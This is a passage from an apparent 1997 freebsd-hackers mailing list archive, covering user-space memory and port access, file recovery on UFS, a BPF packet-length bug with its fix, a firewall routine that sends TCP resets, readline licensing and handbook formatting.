The BSD curses library is _older_, yes, but also more compact. ncurses is newer, more featureful, but bloated. > > > > > unsigned char * p = (unsigned char *)0x000b8000; > > > > You cannot directly access the physical address 0x000b8000. > > > is that an absolute? no peek-ing or poke-ing ... at all? > > > inside the kernel address space), thus you always need a mapping. The > > kernel provides for mappings in the ``ISA IO memory hole'', but for > > anything else, you're responsible yourself. > > so - i just match the virtual addresses to physical, by reading > this map, then i turn off some flag, and i can read ram ... No. As a user process, the memory pages that are mapped to your address space only contain what you put into them. You can't read other processes' pages, or the pages used by the operating system. As far as your program is concerned, it has the machine all to itself; the significant point to note here is that it has a _virtual_ machine to itself, and this virtual machine has no registers, no Q00l memory locations, nothing. Joerg talked about the "ISA hole"; let's clarify a little. The kernel is, in most cases, very much like another user program; the memory addresses referenced by the code are virtual addresses, mapped to physical addresses by the same basic mechanism used for user processes. The kernel has extra privileges which allow it to modify these mappings, and to determine and arrange mappings to suit its needs. One of these mappings arranges pages so that kernel virtual addresses in the range 0xa0000-0xfffff refer to physical addresses 0xa0000-0xfffff, in order to make life slightly easier for ISA drivers. It doesn't apply to user processes, which have their own mappings. > > Impossible. On a typical 16 MB system, there are 4096 different > > physical pages of memory, which can be arbitrarily mapped into the > > virtual address spaces. So, your address 0x0000 of your program might > > be unmapped, address 0x1000 is mapped to physical address 0x133000, > > address 0x2000 is mapped to 0x57000, and so on. What would it give > > you to display physical memory? Nothing, i'd say. > > what would it give us to explore anything? maybe unique > things exist that we all don't know about. I can't actually make any sense out of this at all. Are you saying that you can't read source code? Or that you don't know how to use (or learn to use) a source-level debugger? or do you have some deep spiritual connection with the random movement of data in your system? There's literally no point whatsover in staring at random pieces of system memory;interpreting what you see is much easier when you have the source code sitting in front of you. > > Impossible. That's not DOS, our filesystems aren't so simple as a > > lame FAT file system. Your data blocks that once belonged to a file > > might be scattered throughout the entireq partition, and once you've > > lost the block pointers, you stand no chance to reassemble them into > > one file (at least, not realistically). > > no it's not, my files are small, i had few small messages on a > drive with keywords, and the drive hasn't been written to > since i disconnected it minutes after the deletion. > one of many uses for a block editor. A block editor _will_not_help_you_ for this, other than to perhaps recover some of the data from the files, and if the files are in text form, 'strings' will do the job just as well. ufs filesystems don't work _anything_ like the FAT filesystems. Don't make the mistake of thinking that they have anything at all in common. > i would like to use FreeBSD for embedded systems, and the kernel > doesn't support devices i need to use. maybe lkm's -are- what i need? An LKM is just a slab of code that gets loaded into the kernel. You can write device drivers; they're not rocket science. If you feel that it's too hard, you can pay someone else to do it; several of us are quite available if there's money in the deal 8) > sorry for being a so stupid. It's not your being stupid that's vexing, it's the effort swinging the mallet to drive the new information between your ears. Consider whether we are doing this for fun, or whether it wouldn't be easier to just ignore you, and you'll understand we want to help 8) -- ]] Mike Smith, Software Engineer msmith@gsoft.com.au [[ ]] Genesis Software genesis@gsoft.com.au [[ ]] High-speed data acquisition and (GSM mobile) 0411-222-496 [[ ]] realtime instrument control. (ph) +61-8-8267-3493 [[ ]] Unix hardware collector. "Where are your PEZ?" The Tick [[ From owner-freebsd-hackers Mon Jun 23 05:20:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id FAA00832 for hackers-outgoing; Mon, 23 Jun 1997 05:20:14 -0700 (PDT) Received: from gateway.cam-ani.co.uk (gateway.cam-ani.co.uk [193.195.55.1]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id FAA00827 for ; Mon, 23 Jun 1997 05:20:03 -0700 (PDT) Received: from louie by gateway.cam-ani.co.uk (CAS1.1) id AA14067; Mon, 23 Jun 97 13:19:52 +0100 Received: from dumbo.cam-ani.co.uk (dumbo [192.42.172.34]) by louie.cam-ani.co.uk (8.7.5/8.7.3) with SMTP id NAA04824 for ; Mon, 23 Jun 1997 13:19:51 +0100 (BST) Message-Id: <199706231219.NAA04824@louie.cam-ani.co.uk> Received: by dumbo.cam-ani.co.uk (NX5.67f2/NX3.0X) id AA02830; Mon, 23 Jun 97 13:19:50 +0100 Content-Type: text/plain Mime-Version: 1.0 (NeXT Mail 3.3 v118.2) X-Nextstep-Mailer: Mail 3.3 (Enhance 2.0b5) Received: by NeXT.Mailer (1.118.2) From: Ian Stephenson Date: Mon, 23 Jun 97 13:19:48 +0100 To: freebsd-hackers@FreeBSD.ORG Subject: BPF bug Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In FreeBSD-current/src/sys/net/bpf.c static void catchpacket(d, pkt, pktlen, snaplen, cpfn) register struct bpf_d *d; register u_char *pkt; register u_int pktlen, snaplen; register void (*cpfn)(const void *, void *, u_int); { register struct bpf_hdr *hp; register int totlen, curlen; register int hdrlen = d->bd_bif->bif_hdrlen; /* * Figure out how many bytes to move. If the packet is * greater or equal to the snapshot length, transfer that * much. Otherwise, transfer the whole packet (unless * we hit the buffer size limit). */ totlen = hdrlen + min(snaplen, pktlen); ... } appears to be doing a signed comparison of insigned ints. This definately crashes in 2.1.6 (I can't upgrade yet, so can't verify this is still a problem) when snaplen = 0xffffffff. replacing totlen = hdrlen + min(snaplen, pktlen); with if(snaplen < pktlen) totlen = hdrlen + snaplen; else totlen = hdrlen + pktlen; fixes the problem for me... $an From owner-freebsd-hackers Mon Jun 23 05:25:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id FAA01011 for hackers-outgoing; Mon, 23 Jun 1997 05:25:30 -0700 (PDT) Received: from aak.anchorage.net (ai-129.anchorage.net [207.14.72.129]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id FAA01003 for ; Mon, 23 Jun 1997 05:25:25 -0700 (PDT) Received: from localhost (abc@localhost) by aak.anchorage.net (8.8.5/8.8.5) with SMTP id EAA23688 for ; Mon, 23 Jun 1997 04:14:05 -0800 (AKDT) X-Authentication-Warning: aak.anchorage.net: abc owned process doing -bs Date: Mon, 23 Jun 1997 04:14:04 -0800 (AKDT) From: Steve Howe X-Sender: abc@aak.anchorage.net To: freebsd-hackers Subject: Re: direct access In-Reply-To: <199706230608.PAA16120@genesis.atrad.adelaide.edu.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk > > > This is not a very useful thing to do. There are several quite good hex > > > editors already in the ports collection. I use 'beav' more often than > Well, that's as maybe. The point I'm making is that there's not a lot > that makes sense to "edit" in that fashion. why is everyone telling me what i'm doing is no good for anything? either i'm crazy, or y'all know all possible uses of everything? hehe! i have code that lets me execute a function and will list all devices connected via PC ports, and that is highly desirable to me. maybe not to you, but to me it is. i don't have to open a PC to see what's in it. cuz sometimes my pc's are underground. so reading ports directly is important to me. > > > > it can read/write 1 RAM blocks > > > > 2 Port Addresses > > > > 3 Hard/Floppy Drives > > > > 4 Files > You are still thinking like a (bad) DOS programmer. You aren't a demo > coder by any chance are you? haha! no, but i have no need for flow control at 9600 bps in a 80x186 @ 8mhz with an 8250 in an "ethernet" type radio modem network. thanks though - i appreciate your valuable information. > Direct access means you have to do all the work. Speed often comes > from carefully layered and designed methods of access, and rarely from > "raw metal" work except in the case of bogus environments. that's what i think i want - a bogus environment. whatever is simple & fast. in this application, i don't care about the code running on SunOS. i have specific apps, and they will run on low end PC systems, in highly controlled, 1 user environments. > You will almost always get better performance by using the OS services > provided than by trying to talk to the hardware yourself. On top of > that is the issue of access control; what if you try to run two of your > spiffo programs at the same time? Things are going to get very > confused. ok - then i guess i want OS services ... spiffo? hehe! this is not a problem, this stuff runs under very controlled, non-interactive environments. can't i create a lockfile like any other app that uses a device? > So write a driver 8). There's nothing better than the source to learn > how to write drivers; look for another one that's similar to what > you want to do. In reality, I think you want to be one or more layers > above that. i see a few generalizations about device drivers, but no solid instructions / rules for FreeBSD. > > what's /dev/io all about? > It's a disgusting hack to allow user-space programs access to I/O > ports. Avoid it at all costs. Using user-space I/O to talk to > a device that's also being talked to by the OS will usually result in > a hardware lockup or crash. sounds good :). > How can you access an address that doesn't exist? by looking it up in the virtual/physical map. > How do you plan to coordinate your "visual I/O" with the "nonvisual" > I/O being performed by arbitrary other system functions? because i am dealing with unique hardware, a2d cards, parallel i/o cards, 8530's, that the kernel will know nothing about, and i need simple and effective ways of dealing with them. some people say UN*X is no good for embedded systems because drivers are such a hassle. maybe they are? i don't know. > > > "editing" device ports doesn't seem to be terribly useful to me. i'm sure there are some things you do that don't seem terribly useful to me either! :) > learn about what's going on, attach a debugger to the kernel and > look at both the source _and_ the data. thanks. > > as far as drives go, file recovery - searching for deleted HD data, > > which i desperatley need, > Hah. 'fsdb' is your friend here. Don't expect to be able to cruise > your disks looking for the magic bit to twiddle to "undlete" your > files though. Aside from that, use something like beav on the disk > devices, while they are unmounted. thanks. i've heard many others ask, but never saw an answer. i need something that will do a search on every block. > > as far as ports go, the code i'd like to port, detects and > > debugs certain devices. > This sounds like device-driver material. thanks. is there some instruction on them for FreeBSD? ------------------------------------------------- FingerPrint BA09868C 1B995204 58410FD3 A5E7B2DA http://www.geocities.com/siliconvalley/way/7747 ------------------------------------------------- From owner-freebsd-hackers Mon Jun 23 05:25:39 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id FAA01039 for hackers-outgoing; Mon, 23 Jun 1997 05:25:39 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id FAA01028 for ; Mon, 23 Jun 1997 05:25:36 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.5/8.6.9) with ESMTP id FAA08696; Mon, 23 Jun 1997 05:25:34 -0700 (PDT) To: Gary Clark II cc: msmith@atrad.adelaide.edu.au (Michael Smith), hackers@FreeBSD.ORG Subject: Re: use of readline() In-reply-to: Your message of "Mon, 23 Jun 1997 06:48:07 CDT." <199706231148.GAA01579@main.gbdata.com> Date: Mon, 23 Jun 1997 05:25:34 -0700 Message-ID: <8693.867068734@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > I belive that readline is the GNU version correct? > Would this not make all of these programs fall under the GNU Copyleft? No. Go read the LGPL. Jordan From owner-freebsd-hackers Mon Jun 23 06:27:07 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id GAA04123 for hackers-outgoing; Mon, 23 Jun 1997 06:27:07 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id GAA04117 for ; Mon, 23 Jun 1997 06:27:04 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.5/8.6.9) with ESMTP id GAA08948; Mon, 23 Jun 1997 06:27:13 -0700 (PDT) To: Steve Howe cc: freebsd-hackers Subject: Re: direct access In-reply-to: Your message of "Mon, 23 Jun 1997 04:14:04 -0800." Date: Mon, 23 Jun 1997 06:27:12 -0700 Message-ID: <8944.867072432@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > This sounds like device-driver material. > > thanks. is there some instruction on them for FreeBSD? /usr/src/sys - and I'm not joking. :) Jordan From owner-freebsd-hackers Mon Jun 23 06:40:10 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id GAA04660 for hackers-outgoing; Mon, 23 Jun 1997 06:40:10 -0700 (PDT) Received: from plains.NoDak.edu (tinguely@plains.NoDak.edu [134.129.111.64]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id GAA04655 for ; Mon, 23 Jun 1997 06:40:05 -0700 (PDT) Received: (from tinguely@localhost) by plains.NoDak.edu (8.8.5/8.8.5) id IAA24859 for freebsd-hackers@freebsd.org; Mon, 23 Jun 1997 08:40:02 -0500 (CDT) Date: Mon, 23 Jun 1997 08:40:02 -0500 (CDT) From: Mark Tinguely Message-Id: <199706231340.IAA24859@plains.NoDak.edu> To: freebsd-hackers@freebsd.org Subject: FreeBSD in PC World Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In an article about Cadera Linux in the June 16, 1997 PC World, they mentioned the Caldera could not find the drivers for some of the hardware on their test machine nor find drivers in the available selections. The article then said "When we installed free BSD Unix on these same systems, we had no problem cinfiguring our hardware". --mark. From owner-freebsd-hackers Mon Jun 23 06:43:23 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id GAA04767 for hackers-outgoing; Mon, 23 Jun 1997 06:43:23 -0700 (PDT) Received: from godzilla.zeta.org.au (godzilla.zeta.org.au [203.2.228.19]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id GAA04745 for ; Mon, 23 Jun 1997 06:43:08 -0700 (PDT) Received: (from bde@localhost) by godzilla.zeta.org.au (8.8.5/8.6.9) id XAA11174; Mon, 23 Jun 1997 23:37:05 +1000 Date: Mon, 23 Jun 1997 23:37:05 +1000 From: Bruce Evans Message-Id: <199706231337.XAA11174@godzilla.zeta.org.au> To: gclarkii@main.gbdata.com, jkh@time.cdrom.com Subject: Re: use of readline() Cc: hackers@FreeBSD.ORG, msmith@atrad.adelaide.edu.au Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >> I belive that readline is the GNU version correct? >> Would this not make all of these programs fall under the GNU Copyleft? > >No. Go read the LGPL. Go read the copyright that is actually attached to libreadline. Bruce From owner-freebsd-hackers Mon Jun 23 07:27:04 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA06290 for hackers-outgoing; Mon, 23 Jun 1997 07:27:04 -0700 (PDT) Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id HAA06283 for ; Mon, 23 Jun 1997 07:26:57 -0700 (PDT) Received: from rover.village.org [127.0.0.1] by rover.village.org with esmtp (Exim 1.60 #1) id 0wgA4W-0005aQ-00; Mon, 23 Jun 1997 08:26:24 -0600 To: spork Subject: Re: OpenBSD Cc: Ben Black , Jaye Mathisen , hackers@freebsd.org In-reply-to: Your message of "Sat, 21 Jun 1997 13:32:37 -0000." References: Date: Mon, 23 Jun 1997 08:26:24 -0600 From: Warner Losh Message-Id: Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk : > > Of course, the "20 or more security fixes", w/o mentioning subsystems was I have at least 50 in my tree here from OpenBSD and about 150 more on deck to check out when I get the time and energy again. The "checkout" ones are running about 50% in FreeBSD, 40% should be in FreeBSD, 9% OpenBSD specific for some reason, and 1% bad fixes. Warner From owner-freebsd-hackers Mon Jun 23 07:33:15 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA06557 for hackers-outgoing; Mon, 23 Jun 1997 07:33:15 -0700 (PDT) Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id HAA06552 for ; Mon, 23 Jun 1997 07:33:11 -0700 (PDT) Received: from rover.village.org [127.0.0.1] by rover.village.org with esmtp (Exim 1.60 #1) id 0wgAAX-0005b6-00; Mon, 23 Jun 1997 08:32:37 -0600 To: Jason Thorpe Subject: Re: use of readline() Cc: Michael Smith , hackers@freebsd.org In-reply-to: Your message of "Sun, 22 Jun 1997 20:07:06 PDT." <199706230307.UAA11830@lestat.nas.nasa.gov> References: <199706230307.UAA11830@lestat.nas.nasa.gov> Date: Mon, 23 Jun 1997 08:32:37 -0600 From: Warner Losh Message-Id: Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message <199706230307.UAA11830@lestat.nas.nasa.gov> Jason Thorpe writes: : Most recently, Luke has converted our (NetBSD's :-) ftp(1) to use libedit... : it has history, and context-sensitive command and local/remote filename : completion. It's darn cool :-) I'd agree with that. Also, I know that Todd Miller (millert@openbsd.org) has done some work with libedit under OpenBSD and would likely be happy to share his experiences with you as well. Warner From owner-freebsd-hackers Mon Jun 23 07:46:17 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id HAA07217 for hackers-outgoing; Mon, 23 Jun 1997 07:46:17 -0700 (PDT) Received: from Xopek.Card.Ru (root@Xopek.Card.Ru [194.58.132.252]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id HAA07211 for ; Mon, 23 Jun 1997 07:46:08 -0700 (PDT) Received: (from root@localhost) by Xopek.Card.Ru (8.8.5/8.6.12) id VAA06431 for freebsd-hackers@freebsd.org; Mon, 23 Jun 1997 21:45:54 +0700 (NSD) Date: Mon, 23 Jun 1997 21:45:54 +0700 (NSD) From: serge terekhov Message-Id: <199706231445.VAA06431@Xopek.Card.Ru> To: freebsd-hackers@freebsd.org Subject: Little help needed. Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk Hi, i am not a big kernel guru - and after upgrading 2.1.0R -> 2.2.2R i got a little problem porting screend firewall daemon (extensively patched by me). i have a little routine in kernel space which sends TCP RST packet as an answer on TCP SYN packet for unwanted incoming TCP session init request. and this routine makes 2.2.2 to die silently, restarting pc without any panic or other warning.. please anyone who can help me - comment this. the code, patched a little for 2.2.2 already, follows. static void ip_gwtcprst(pkt) struct mbuf *pkt; { struct tcpiphdr *ti, *tp; struct ip *ii, *ip; struct tcphdr *tcp; struct mbuf *m; int tlen = 0; ti = mtod (pkt, struct tcpiphdr *); ii = mtod (pkt, struct ip *); if (IP_VHL_V (ii->ip_vhl) != IPVERSION || ii->ip_p != IPPROTO_TCP) return; /* foolproofing ;) */ if (ti->ti_flags & TH_RST) return; /* feedback loop */ m = m_gethdr (M_DONTWAIT, MT_HEADER); if (!m) return; m->m_data += max_linkhdr; if (ti->ti_flags & TH_SYN) tlen = 1; m->m_len = sizeof (struct tcpiphdr); m->m_pkthdr.len = sizeof (struct tcpiphdr); m->m_pkthdr.rcvif = (struct ifnet *)0; bzero (mtod (m, char *), sizeof (struct tcpiphdr)); ip = mtod (m, struct ip *); tp = mtod (m, struct tcpiphdr *); tcp = (struct tcphdr *) ((char *)ip + sizeof (struct ip)); ip->ip_src.s_addr = ti->ti_dst.s_addr; ip->ip_dst.s_addr = ti->ti_src.s_addr; tcp->th_dport = ti->ti_sport; tcp->th_sport = ti->ti_dport; tcp->th_ack = htonl (ntohl (ti->ti_seq) + tlen); tcp->th_off = sizeof (struct tcphdr) >> 2; tcp->th_flags = TH_RST|TH_ACK; tp->ti_pr = ii->ip_p; tp->ti_len = htons (sizeof (struct tcphdr)); tcp->th_sum = in_cksum (m, sizeof (struct tcpiphdr)); ip->ip_vhl = IP_MAKE_VHL (IPVERSION, sizeof (struct ip) >> 2); ip->ip_tos = ii->ip_tos; ip->ip_id = ii->ip_id; ip->ip_off = ii->ip_off; ip->ip_p = ii->ip_p; ip->ip_len = sizeof (struct tcpiphdr); ip->ip_ttl = ip_defttl; /* * extra 0 in case of multicast */ (void) ip_output(m, (struct mbuf *)0, 0, IP_FORWARDING, 0); } ciao, /serge From owner-freebsd-hackers Mon Jun 23 08:10:12 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA08445 for hackers-outgoing; Mon, 23 Jun 1997 08:10:12 -0700 (PDT) Received: from cheops.anu.edu.au (avalon@cheops.anu.edu.au [150.203.76.24]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA08437 for ; Mon, 23 Jun 1997 08:10:06 -0700 (PDT) Message-Id: <199706231510.IAA08437@hub.freebsd.org> Received: by cheops.anu.edu.au (1.37.109.16/16.2) id AA243168144; Tue, 24 Jun 1997 01:02:24 +1000 From: Darren Reed Subject: hmmm, 2.2.1 panic in ffs code ? :) To: hackers@freebsd.org Date: Tue, 24 Jun 1997 01:02:24 +1000 (EST) X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I created a really strange situation: booted off floppy (killed my freebsd boot program) ran "reboot" ^C'd that before it rebooted the box ran /stand/sysinstall went to the menu option to write a disklabel (I have too many problems with the command line program and I refuse to believe it works :) wouldn't let me because I hadn't done fdisk partitions so I did that but when I tried to write, it came back with an error so I proceeded back to the disklabel part did "w" to write the disklabel and when it went to fsck the filesystem, it panic'd with a recursive entering of some ufs routine (went by very quickly). anyone else seen that before or know why it might happen ? From owner-freebsd-hackers Mon Jun 23 08:15:54 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id IAA08680 for hackers-outgoing; Mon, 23 Jun 1997 08:15:54 -0700 (PDT) Received: from fallout.campusview.indiana.edu (fallout.campusview.indiana.edu [149.159.1.1]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id IAA08640; Mon, 23 Jun 1997 08:15:28 -0700 (PDT) Received: from localhost (jfieber@localhost) by fallout.campusview.indiana.edu (8.8.5/8.8.5) with SMTP id KAA06556; Mon, 23 Jun 1997 10:14:37 -0500 (EST) Date: Mon, 23 Jun 1997 10:14:37 -0500 (EST) From: John Fieber Reply-To: John Fieber To: Brian Somers cc: Annelise Anderson , Chuck Robey , "Jordan K. Hubbard" , kleon@bellsouth.net, freebsd-hackers@FreeBSD.ORG, freebsd-doc@FreeBSD.ORG, freebsd-questions@FreeBSD.ORG Subject: Re: Handbook - ascii form?? In-Reply-To: <199706230803.JAA09485@awfulhak.demon.co.uk> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 23 Jun 1997, Brian Somers wrote: > [cc'd also to -questions & -doc] > > > On Mon, 23 Jun 1997, Chuck Robey wrote: > > > > > OK, there's one problem with that. I think that the ftp server is letting > > > folks download handbook.ascii as ascii text, which is eating the backspace > > > keys. Gotta download this as binary! > > > > That's right, if it's downloaded as a binary file it retains the ^H etc. > > formatting codes; otherwise it doesn't. > > Which brings us back to the question. Why does .ascii have non-ascii > characters. A diff between .latin1 and .ascii says that only the > '-' at the end of lines is missing in the .ascii version :( Surely > .latin1 should have the overstrikes and .ascii shouldn't ? > > Is this a "sgml" bug ? Okay, lets get this straight: 1) ^H >>IS<< ASCII. 2) A underscore followed by a ^H, followed by a letter is a common idiom for creating underlining that originates in the days of typewriters and teletypes. The idiom is widely, but not universally supported. 3) Simlarly, a letter followed by a ^H, followed by the same letter is a common idiom for creating boldface. 4) The non-HTML renditions of the handbook/FAQ come from groff which uses these idioms for underlining and boldface. This ^H debate has >>nothing<< to do with SGML. 5) The difference between the .ascii and .latin1 generated by sgmlfmt(1) is that the former uses only 7-bit codes, while the latter uses ISO 8859-1 encoding for characters above 128. The differences show up in a few of our authors names that use diacritics, bulleted lists have bullets instead of lower case o, automatic hyphenation uses a soft-hyphen (AD) rather than a regular hyphen*, and probabaly some other odds and ends. 6) If the ^H is missing from a downloaded file, chances are it got stripped rogue software. Claims were made that this did indeed happen, but I don't believe the details of the software used were mentioned--these are essential things to provide with any bug report. 7) col -b is the most reliable way to undo the underline/boldface that groff does, but it will not work if the ^H characters got eaten in transit. 8) Earlier versions of sgmlfmt(1) sent all groff output through col -b by default. If there is a consensus that this would be better, it is trivial to change. ...and now back to your regularly scheduled broadcast... -john * This could be considered a bug because there is little agreement on the correct handling of the character. From owner-freebsd-hackers Mon Jun 23 09:26:14 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA12027 for hackers-outgoing; Mon, 23 Jun 1997 09:26:14 -0700 (PDT) Received: from rover.village.org (rover.village.org [204.144.255.49]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id JAA12018; Mon, 23 Jun 1997 09:26:10 -0700 (PDT) Received: from rover.village.org [127.0.0.1] by rover.village.org with esmtp (Exim 1.60 #1) id 0wgBva-0005pr-00; Mon, 23 Jun 1997 10:25:18 -0600 To: John Fieber Subject: Re: Handbook - ascii form?? Cc: Brian Somers , Annelise Anderson , Chuck Robey , "Jordan K. Hubbard" , kleon@bellsouth.net, freebsd-hackers@freebsd.org, freebsd-doc@freebsd.org, freebsd-questions@freebsd.org In-reply-to: Your message of "Mon, 23 Jun 1997 10:14:37 CDT." References: Date: Mon, 23 Jun 1997 10:25:18 -0600 From: Warner Losh Message-Id: Sender: owner-hackers@freebsd.org X-Loop: FreeBSD.org Precedence: bulk In message John Fieber writes: : 6) If the ^H is missing from a downloaded file, chances are it : got stripped rogue software. Claims were made that this : did indeed happen, but I don't believe the details of the : software used were mentioned--these are essential things to : provide with any bug report. I believe that the FTP standard states that ASCII mode is for text files that are a series of non-control characters followed by a line terminator. These files are then to be translated into a cononical form, sent over the wire, and then translated back. All this translation tends to be bad for anything that isn't in the range [32,126]. The file downloads fine with BINARY mode. Warner From owner-freebsd-hackers Mon Jun 23 09:28:49 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id JAA12305 for hackers-outgoing; Mon, 23 Jun 1997 09:28:49 -0700 (PDT) Received: from hwcn.org (main.hwcn.org [199.212.94.65]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id JAA12297 for ; Mon, 23 Jun 1997 09:28:45 -0700 (PDT) Received: from james.freenet.hamilton.on.ca (ac199@james.hwcn.org [199.212.94.66]) by hwcn.org (8.8.6/8.8.6) with ESMTP id MAA24247; Mon, 23 Jun 1997 12:28:51 -0400 (EDT) Received: from localhost (ac199@localhost) by james.freenet.hamilton.on.ca (8.8.6/8.8.6) with SMTP id MAA01670; Mon, 23 Jun 1997 12:29:01 -0400 (EDT) X-Authentication-Warning: james.freenet.hamilton.on.ca: ac199 owned process doing -bs Date: Mon, 23 Jun 1997 12:29:00 -0400 (EDT) From: Tim Vanderhoek X-Sender: ac199@james.freenet.hamilton.on.ca Reply-To: hoek@hwcn.org To: Steve Howe cc: Joerg Wunsch , freebsd-hackers Subject: Re: direct access In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 23 Jun 1997, Steve Howe wrote: > i can find what a current pair color is. > and curses.h doesn't compile well with c++. > besides, from what i read, curses is out of date. http://www.clark.net/pub/dickey/ncurses/ncurses.tar.gz should link to ncurses. It should also include fairly complete html documentation. The ncurses package is sort-of in limbo right now as they try to sort out who the official maintainer is, so the release that the above link points to might be withdrawn eventually, and the release that the above link points to is not the one included with FreeBSD, but it should have the most up-to-date and comprehensive documentation. :) It explains colour-pairs quite well. :) -- Outnumbered? Maybe. Outspoken? Never! tIM...HOEk From owner-freebsd-hackers Mon Jun 23 10:01:11 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA14024 for hackers-outgoing; Mon, 23 Jun 1997 10:01:11 -0700 (PDT) Received: from time.cdrom.com (root@time.cdrom.com [204.216.27.226]) by hub.freebsd.org (8.8.5/8.8.5) with ESMTP id KAA14007 for ; Mon, 23 Jun 1997 10:01:07 -0700 (PDT) Received: from time.cdrom.com (jkh@localhost.cdrom.com [127.0.0.1]) by time.cdrom.com (8.8.5/8.6.9) with ESMTP id KAA09968; Mon, 23 Jun 1997 10:01:03 -0700 (PDT) To: Bruce Evans cc: gclarkii@main.gbdata.com, hackers@FreeBSD.ORG, msmith@atrad.adelaide.edu.au Subject: Re: use of readline() In-reply-to: Your message of "Mon, 23 Jun 1997 23:37:05 +1000." <199706231337.XAA11174@godzilla.zeta.org.au> Date: Mon, 23 Jun 1997 10:01:03 -0700 Message-ID: <9964.867085263@time.cdrom.com> From: "Jordan K. Hubbard" Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Go read the copyright that is actually attached to libreadline. Right you are, unfortunately - I went looking for it in the wrong place and assumed the LGPL when I couldn't find a COPYING file. This is unusual, of course, since the FSF switched to the LGPL for just about every other GNU lib I can find and I can only assume that either the author was feeling particularly restrictive or, in fact, nobody ever bothered to update the copyright. :) Jordan From owner-freebsd-hackers Mon Jun 23 10:24:02 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA15667 for hackers-outgoing; Mon, 23 Jun 1997 10:24:02 -0700 (PDT) Received: from phaeton.artisoft.com (phaeton.Artisoft.COM [198.17.250.50]) by hub.freebsd.org (8.8.5/8.8.5) with SMTP id KAA15649 for ; Mon, 23 Jun 1997 10:23:59 -0700 (PDT) Received: (from terry@localhost) by phaeton.artisoft.com (8.6.11/8.6.9) id KAA00851; Mon, 23 Jun 1997 10:12:18 -0700 From: Terry Lambert Message-Id: <199706231712.KAA00851@phaeton.artisoft.com> Subject: Re: inconsistent declarations To: jdd@vbc.net (Jim Dixon) Date: Mon, 23 Jun 1997 10:12:18 -0700 (MST) Cc: brian@awfulhak.org, hackers@FreeBSD.ORG In-Reply-To: from "Jim Dixon" at Jun 22, 97 05:10:38 pm X-Mailer: ELM [version 2.4 PL24] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-hackers@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > I've just done a make includes in -current and 2.2 and it says > > your dlfcn.h is out of date. > > 2.2 drops the const which eliminates the inconsistency, yes. Under what circumstances would it be permissable for the function to modify the contents of the string pointers? Bleah! Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-hackers Mon Jun 23 10:24:53 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.5/8.8.5) id KAA15730 for hackers-outgoing; Mon, 23 